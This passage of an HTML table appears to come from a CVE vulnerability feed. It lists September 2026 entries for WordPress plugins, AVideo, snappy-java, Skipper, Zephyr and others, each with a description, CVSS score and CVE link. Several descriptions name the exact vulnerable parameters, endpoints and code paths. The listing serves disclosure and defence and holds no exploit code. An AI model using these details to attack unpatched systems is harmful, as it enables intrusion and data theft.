&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpdevelop--Booking Calendar&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Booking Calendar &amp;lt;= 11.7 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74002&quot; target=&quot;_blank&quot;&gt;CVE-2026-74002&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpdevteam--EmbedPress PDF Embedder, 3D PDF FlipBook, Google Reviews, YouTube Videos, Upload &amp;amp; Embed PDF documents&lt;/td&gt;
&lt;td&gt;The EmbedPress - PDF Embedder, 3D PDF FlipBook, Google Reviews, YouTube Videos, Upload &amp;amp; Embed PDF documents plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;unique&#039; parameter in all versions up to, and including, 4.6.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. This is a regression: the esc_url() wrapper that remediated the equivalent CVE-2023-5749 in version 3.9.2 was removed in version 4.3.0 during a refactor that introduced the &#039;unique&#039; parameter.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89330&quot; target=&quot;_blank&quot;&gt;CVE-2026-89330&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpdirectorykit--WP Directory Kit&lt;/td&gt;
&lt;td&gt;The WP Directory Kit plugin for WordPress is vulnerable to blind SQL Injection via the &#039;order_by&#039; parameter in all versions up to, and including, 1.5.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16588&quot; target=&quot;_blank&quot;&gt;CVE-2026-16588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpeverest--User Registration&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in User Registration &amp;lt;= 5.2.7 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74017&quot; target=&quot;_blank&quot;&gt;CVE-2026-74017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpexpertshub--Partial Shipment for WooCommerce&lt;/td&gt;
&lt;td&gt;The Partial Shipment for Woocommerce plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 3.4 via the wxp_order_shipment, wxp_order_item_shipment, and wxp_order_set_shipped AJAX actions. This is due to the AJAX handlers in woocommerce-partial-shipment.php (registered at lines 60-62 and implemented at lines 228, 263, and 291) lacking both capability checks and nonce verification, and not validating the calling user&#039;s ownership of the supplied order_id. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read arbitrary order item details (names, quantities, shipped counts) belonging to any customer and to modify the shipment status / shipped quantities of any order, which can also trigger order status transitions via the wxp_order_status action.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9858&quot; target=&quot;_blank&quot;&gt;CVE-2026-9858&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wppochipp--Pochipp&lt;/td&gt;
&lt;td&gt;The Pochipp plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;keyword&#039; parameter in versions up to, and including, 1.20.2. This is due to insufficient output escaping , which reads $_GET[&#039;keyword&#039;], applies only sanitize_text_field() (which strips tags but leaves double quotes intact) and interpolates the value directly into the value attribute of the search input via a PHP heredoc, without esc_attr(). This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user with upload_files capability (Author or above) into performing an action such as clicking on a specially crafted link to /wp-admin/media-upload.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92967&quot; target=&quot;_blank&quot;&gt;CVE-2026-92967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WSO2--WSO2 API Control Plane&lt;/td&gt;
&lt;td&gt;Insufficient HTML sanitization in the Publisher Portal and Developer Portal allows untrusted user input to be rendered without proper encoding or neutralization. This enables the injection and execution of malicious JavaScript when affected API documents are viewed. Successful exploitation may result in the execution of malicious scripts within the user&#039;s browser context when viewing API documentation. Users with permissions to access the API documentation through these portals may be impacted, potentially allowing attackers to perform actions on behalf of the user, depending on their session privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4103&quot; target=&quot;_blank&quot;&gt;CVE-2026-4103&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WSO2--WSO2 API Manager&lt;/td&gt;
&lt;td&gt;The self-registration flow accepts user-supplied input for usernames without adequately preventing the disclosure of username existence. When a user attempts to register with an existing username, the system responds with an error message that explicitly indicates the username is already in use. This behavior allows an attacker to discover valid usernames within the system. The discovery of valid usernames can facilitate subsequent attacks such as brute force, social engineering, and targeted phishing campaigns.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-5802&quot; target=&quot;_blank&quot;&gt;CVE-2025-5802&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WuzhiCMS--WuzhiCMS&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in WuzhiCMS up to 4.1.0. This affects the function member::setAvatar of the file /index.php?m=member&amp;amp;f=user&amp;amp;v=setAvatar of the component Avatar Upload. The manipulation of the argument File results in unrestricted upload. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91849&quot; target=&quot;_blank&quot;&gt;CVE-2026-91849&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through 29.0 contains a race condition in the enforceRateLimit() function that fails to atomically increment rate limit counters, allowing attackers to bypass all rate limits including login brute-force protection by issuing concurrent requests. Attackers can submit parallel credential attempts to exceed the documented 30-attempts-per-5-minutes login limit by an arbitrary factor determined only by their connection concurrency.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92583&quot; target=&quot;_blank&quot;&gt;CVE-2026-92583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through 29.0 (current revision e01e41ecc) contains a stored cross-site scripting vulnerability. The unauthenticated view-counter endpoint objects/videoAddViewCount.json.php reaches VideoStatistic::save(), which writes the caller&#039;s User-Agent (via getUserAgentInfo(), which returns unrecognized agent strings verbatim) directly into the `app` column of the videos_statistics table without invoking the sanitizing setter setApp(); normalizeApp() only truncates the value to 45 characters. The video owner&#039;s and administrator&#039;s statistics page (view/videoViewsInfo.php) renders this field in a DataTables 1.12.1 column with an unescaped renderer, and DataTables assigns cell content using innerHTML, so attacker-supplied HTML is parsed and executed in the privileged user&#039;s authenticated session when the statistics page is viewed. No patched version was available at the time of the advisory.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92584&quot; target=&quot;_blank&quot;&gt;CVE-2026-92584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through c3edcc274c389816d434acadac07ee78eaf330c1 uses cryptographically weak uniqid() values for RTMP publish keys in LiveTransmition, reducing key entropy to approximately one million possibilities per creation second. Attackers who know the channel creation time can brute-force the five-digit microsecond component to forge valid stream keys and broadcast content as the channel owner.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92912&quot; target=&quot;_blank&quot;&gt;CVE-2026-92912&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through 29.0 contains an unauthenticated server-side request forgery vulnerability in the check_site_availability function that accepts attacker-controlled HTTP Host headers. Attackers can send requests to submitIndex.php or ajax.php with arbitrary Host headers to probe internal network hosts and ports, following redirects without authentication.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91966&quot; target=&quot;_blank&quot;&gt;CVE-2026-91966&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through 29.0 contains a blind server-side request forgery vulnerability in the getHeaderContentTypeFromURL function that issues get_headers() calls guarded only by format validation. Authenticated users with canUpload permission can store attacker-chosen URLs as video links, triggering vulnerable function execution on every video watch page render to probe internal hosts using content-type oracles and timing-based detection.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91967&quot; target=&quot;_blank&quot;&gt;CVE-2026-91967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;In AVideo through 29.0, the autoCSRFGuard() function maintains a hardcoded allowlist of exempt basenames tested without directory context, allowing plugin files matching core filenames to inherit CSRF exemptions. The LoginWordPress plugin file login.json.php inherits an exemption and unconditionally logs out authenticated users on cross-site POST requests before validating credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92579&quot; target=&quot;_blank&quot;&gt;CVE-2026-92579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;In AVideo through 29.0, Like::__construct() performs counter arithmetic on raw request values before validation, allowing array-typed parameters to desynchronize stored votes from counters. Authenticated attackers can send array-typed like parameters followed by ordinary requests to drive video like counts arbitrarily negative, with the corruption persisting in the denormalized counter until manual repair.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92581&quot; target=&quot;_blank&quot;&gt;CVE-2026-92581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through 29.0 (commit c3edcc274c389816d434acadac07ee78eaf330c1) fails to validate video access permissions in the API like endpoint, allowing logged-in users to vote on password-protected and group-restricted videos. Attackers can submit like and dislike requests to increment vote counters on videos they cannot watch by calling the set.json.php endpoint with APIName parameters.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92585&quot; target=&quot;_blank&quot;&gt;CVE-2026-92585&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through 29.0 (commit c3edcc274c389816d434acadac07ee78eaf330c1) fails to verify video access permissions in the set_api_comment function, allowing authenticated users to post comments on password-protected and group-restricted videos. Attackers can submit POST requests to the comment API endpoint with arbitrary video IDs to write comments on videos they cannot watch.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92586&quot; target=&quot;_blank&quot;&gt;CVE-2026-92586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;xerial--snappy-java&lt;/td&gt;
&lt;td&gt;snappy-java through 1.1.10.8 contains a buffer overflow vulnerability in typed Snappy.uncompress*Array methods that allocate output arrays by dividing uncompressed length by element size but pass the undivided length to native code. Attackers controlling compressed input can cause misaligned length values to write past array bounds with attacker-controlled bytes, corrupting heap memory.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93451&quot; target=&quot;_blank&quot;&gt;CVE-2026-93451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;xootix--OTP Login &amp;amp; Register Woocommerce&lt;/td&gt;
&lt;td&gt;The OTP Login &amp;amp; Register Woocommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;fb-config&#039; Setting in all versions up to, and including, 2.7.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. On multisite installations where administrators do not hold the unfiltered_html capability, this vulnerability can be leveraged to target the network super administrator.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12402&quot; target=&quot;_blank&quot;&gt;CVE-2026-12402&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;yahoo--CMAK&lt;/td&gt;
&lt;td&gt;CMAK through 3.0.0.6 fails to apply the scheduled leader election feature toggle to HTML form routes, allowing attackers to bypass the feature gate. Attackers can access the form endpoints to start and stop the recurring election scheduler, disrupting leadership across managed Kafka clusters.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92778&quot; target=&quot;_blank&quot;&gt;CVE-2026-92778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;YaoApp--yao&lt;/td&gt;
&lt;td&gt;Yao through v1.0.0-rc22 authenticates but fails to authorize the GET /user/teams/:id endpoint, allowing any logged-in user to read full team records. Attackers can supply a known team identifier to retrieve sensitive team data including name, description, owner information, and settings without membership verification.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91774&quot; target=&quot;_blank&quot;&gt;CVE-2026-91774&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Yealink--SIP-T33G&lt;/td&gt;
&lt;td&gt;Yealink SIP-T33G firmware versions 124.86.x.x prior to 124.87.0.0 contain a race condition vulnerability that allows authenticated attackers to interrupt active diagnostic processes by concurrently deleting output files written to predictable paths under the diagnostic directory. Attackers can trigger a diagnostic operation such as traceroute or ping and simultaneously invoke the file deletion endpoint to terminate the running process, leaving the system in an inconsistent state.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7208&quot; target=&quot;_blank&quot;&gt;CVE-2026-7208&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;yogeshojha--rengine&lt;/td&gt;
&lt;td&gt;reNgine through 2.2.0 contains an authorization bypass vulnerability in the GetFileContents API endpoint that allows any authenticated user to read bundled recon tool configuration files. Attackers with low-privilege Auditor roles can access files containing third-party API keys for services like SecurityTrails, Shodan, Censys, VirusTotal, BinaryEdge and Hunter by querying the endpoint without role-based permission checks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92570&quot; target=&quot;_blank&quot;&gt;CVE-2026-92570&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Yot--CMS&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in Yot CMS up to 3.3.1. Affected by this issue is the function eval of the file modsys/console/admin.php of the component Admin Console. Such manipulation of the argument text leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90709&quot; target=&quot;_blank&quot;&gt;CVE-2026-90709&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ysinnovations--YS LeadGen Popup Builder, Popup Maker &amp;amp; Form Builder for WordPress | Lead Generation, Email Marketing, Sales, Conversions, Opt-Ins &amp;amp; Subscribers&lt;/td&gt;
&lt;td&gt;The YS LeadGen plugin for WordPress is vulnerable to authorization bypass and Stored Cross-Site Scripting via multiple AJAX endpoints in all versions up to, and including, 2.1.4 due to missing capability checks on popup management actions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create arbitrary popups and inject malicious JavaScript that executes when the popup is displayed, leading to Stored XSS.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1256&quot; target=&quot;_blank&quot;&gt;CVE-2026-1256&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zalando--skipper&lt;/td&gt;
&lt;td&gt;Skipper is an HTTP router and reverse proxy for service composition. Prior to 0.27.13, the routesrv component serves cluster-wide control-plane data without application-layer authentication through /routes, /routes/{zone}, /swarm/redis/shards, and /swarm/valkey/shards. The handlers registered in routesrv/routesrv.go, eskipBytes.ServeHTTP in routesrv/eskipbytes.go, RedisHandler.ServeHTTP in routesrv/redishandler.go, and ValkeyHandler.ServeHTTP in routesrv/valkeyhandler.go only restrict HTTP methods and do not authenticate callers. A compromised or otherwise attacker-controlled pod that can reach routesrv on the Kubernetes cluster network can bypass its namespace-scoped RBAC and read Ingress and RouteGroup backend URLs, filter-chain and OAuth or OIDC path details, and Redis or Valkey shard addresses across namespaces. NetworkPolicy can restrict reachability but does not remove the missing-authentication condition, and the established impact is confidentiality exposure rather than direct integrity or availability loss. This issue is fixed in version 0.27.13.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54246&quot; target=&quot;_blank&quot;&gt;CVE-2026-54246&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zalando--skipper&lt;/td&gt;
&lt;td&gt;Skipper is an HTTP router and reverse proxy for service composition. Prior to 0.26.22, Handler in dataclients/kubernetes/admission/admission.go passes the body of requests to the Kubernetes admission endpoint at :9443/admission directly to io.ReadAll(r.Body) without a size limit. An attacker with in-cluster network access and a valid Kubernetes client certificate can send a very large body that causes unbounded memory allocation and an out-of-memory termination of the Skipper process. The disruption is limited to Ingress and RouteGroup admission rather than pod creation or unrelated admission controllers, and Kubernetes normally restarts the process. This issue is fixed in version 0.26.22.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54247&quot; target=&quot;_blank&quot;&gt;CVE-2026-54247&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;The ITE it51xxx I2C driver, when operating as an I2C target (slave) in buffer mode (CONFIG_I2C_TARGET + CONFIG_I2C_TARGET_BUFFER_MODE), copies host-supplied write data into the fixed-size data-&amp;gt;target_in_buffer inside its target FIFO interrupt handler target_i2c_isr_fifo() in drivers/i2c/i2c_ite_it51xxx.c. The copy loop stores to target_in_buffer[i + data-&amp;gt;w_index] and only checks data-&amp;gt;w_index against sizeof(data-&amp;gt;target_in_buffer) after the write has already completed, so the bounds check cannot prevent the overflow. The running index data-&amp;gt;w_index accumulates count bytes on every FIFO-fill interrupt of an ongoing transaction and is reset to zero only on a STOP or timeout condition. An I2C host that streams a single write transaction longer than the buffer (default CONFIG_I2C_TARGET_IT51XXX_MAX_BUF_SIZE = 256 bytes) drives data-&amp;gt;w_index past the end of the buffer, and each subsequent host byte is written out of bounds into the adjacent data-&amp;gt;target_out_buffer and following static device data. The trigger is a malicious or misbehaving I2C master on the same bus (for example a compromised application processor or a rogue device on an exposed I2C bus); no software privilege on the victim is required and the handler runs in the target&#039;s kernel/firmware context. Because both the written values and the overflow length are attacker-controlled, this is an out-of-bounds write that can crash the controller or be shaped toward code execution. The fix adds a pre-write bounds check in target_i2c_fifo_read_to_buf() that aborts and resets the FIFO before any out-of-bounds store.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14986&quot; target=&quot;_blank&quot;&gt;CVE-2026-14986&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;net_if_ipv6_calc_reachable_time() in subsys/net/ip/net_if.c derives a randomized ND reachable time from ipv6-&amp;gt;base_reachable_time as min_reachable + sys_rand32_get() % (max_reachable - min_reachable), where min_reachable = base/2 and max_reachable = 3*base/2 using integer division. When base_reachable_time is 1, both min_reachable and the modulus collapse so the function returns 0, and net_if_ipv6_set_reachable_time() stores that 0 into ipv6-&amp;gt;reachable_time. The base_reachable_time is attacker-controlled: handle_ra_input() in subsys/net/ip/ipv6_nbr.c accepts the Reachable Time field of an incoming Router Advertisement whenever it is nonzero and &amp;lt;= MAX_REACHABLE_TIME, so a single unauthenticated, link-local RA carrying a Reachable Time of 1 drives the computed reachable time to 0. Router Advertisements are unauthenticated by default and require only adjacency to the target link. When a neighbor is subsequently confirmed reachable, net_ipv6_nbr_set_reachable_timer() reads the value and executes NET_ASSERT(time, &quot;Zero reachable timeout!&quot;). On builds with CONFIG_ASSERT enabled this triggers a fatal kernel assertion - a remote denial of service; on builds without assertions the reachable timer is armed with K_MSEC(0) and fires immediately, forcing reachable neighbors into perpetual re-solicitation (STALE), degrading Neighbor Discovery. The impact is limited to availability; there is no memory-safety, confidentiality, or integrity consequence.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15893&quot; target=&quot;_blank&quot;&gt;CVE-2026-15893&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;The ITE IT82xx2 USB device-controller driver (drivers/usb/udc/udc_it82xx2.c) mishandles multi-packet OUT transfers on non-control endpoints. In work_handler_out() the active transfer buffer is obtained with udc_buf_peek() (which does not dequeue it); when a full max-packet-size packet arrives but the buffer still has tailroom (the transfer is not yet complete), the pre-fix code both re-arms the endpoint to keep filling that same buf via work_handler_xfer_continue() and simultaneously hands the same, still-being-filled buffer to the upper stack with udc_submit_ep_event(). Because udc_submit_ep_event() transfers ownership of the buffer to the USB device stack (usbd_event_carrier() appends &amp;amp;buf-&amp;gt;node to uds_ctx-&amp;gt;ep_events, after which the class handler processes and net_buf_unref()s it), the driver continues to DMA subsequent host-controlled OUT packets into a buffer the upper stack may already have freed and recycled - a use-after-free write. In addition, since the buffer was never dequeued, the completing packet runs udc_buf_get() on the same object and submits it a second time, appending &amp;amp;buf-&amp;gt;node to the event slist twice (singly-linked-list corruption) and causing a double net_buf_unref(). The IT82xx2 is a USB peripheral controller, so the untrusted USB host controls OUT-transfer packetization and can force this path against any non-control OUT endpoint whose queued buffer exceeds one packet - an ordinary bulk/interrupt pattern. The driver and USB device stack run in kernel context above the external host, giving the host a device-side kernel heap-corruption primitive: a reliable denial of service and, because the written bytes are attacker-controlled, plausible corruption of adjacent net_buf pool memory. The vector is physical (USB attach). The fix defers submission until the buffer is completely filled and lets xfer_work_handler() drive continuation, so each OUT buffer is submitted to the upper stack exactly once.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16147&quot; target=&quot;_blank&quot;&gt;CVE-2026-16147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;Zephyr&#039;s TLS socket layer in subsys/net/lib/sockets/sockets_tls.c keeps a single process-global array, client_cache, of cached client sessions that is shared by every TLS socket context. The functions that mutate and read it - tls_session_save(), tls_session_get(), tls_session_cache_reset(), and the settings restore handler - allocate, free, and dereference each entry&#039;s heap buffer (entry-&amp;gt;session). Before the fix these accesses were serialized only by the per-socket context mutex ctx-&amp;gt;lock (assigned per socket in ctx_set_lock()), which provides no mutual exclusion between different sockets touching the shared cache. Because CONFIG_NET_SOCKETS_TLS_MAX_CLIENT_SESSION_COUNT defaults to 1, any two concurrent client sockets contend for the same slot. A thread in tls_session_get() reading entry-&amp;gt;session inside mbedtls_ssl_session_load() can run concurrently with another thread in tls_session_save() that selects the same entry for reuse and executes mbedtls_free(entry-&amp;gt;session) before reallocating - a use-after-free read, and a double-free when two saves evict the same entry. Both corrupt the mbedTLS heap. The cache is reached on ordinary client paths: at connect time via tls_session_store()/tls_session_restore(), and (on main) whenever a TLS 1.3 session ticket arrives during recv()/poll() via tls_session_store_current(). Exploitation requires an application that opts into per-socket client session caching (the TLS_SESSION_CACHE socket option, off by default) and runs concurrent TLS client connections on multiple threads; the timing that opens the window is influenced by the remote peer(s), so a malicious or compromised server can raise session-ticket frequency to widen it. The reliably-demonstrable impact is memory corruption leading to a crash or heap corruption (denial of service). The fix adds a dedicated session_cache_lock mutex taken across every accessor of client_cache, serializing all reads and frees and closing the race.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
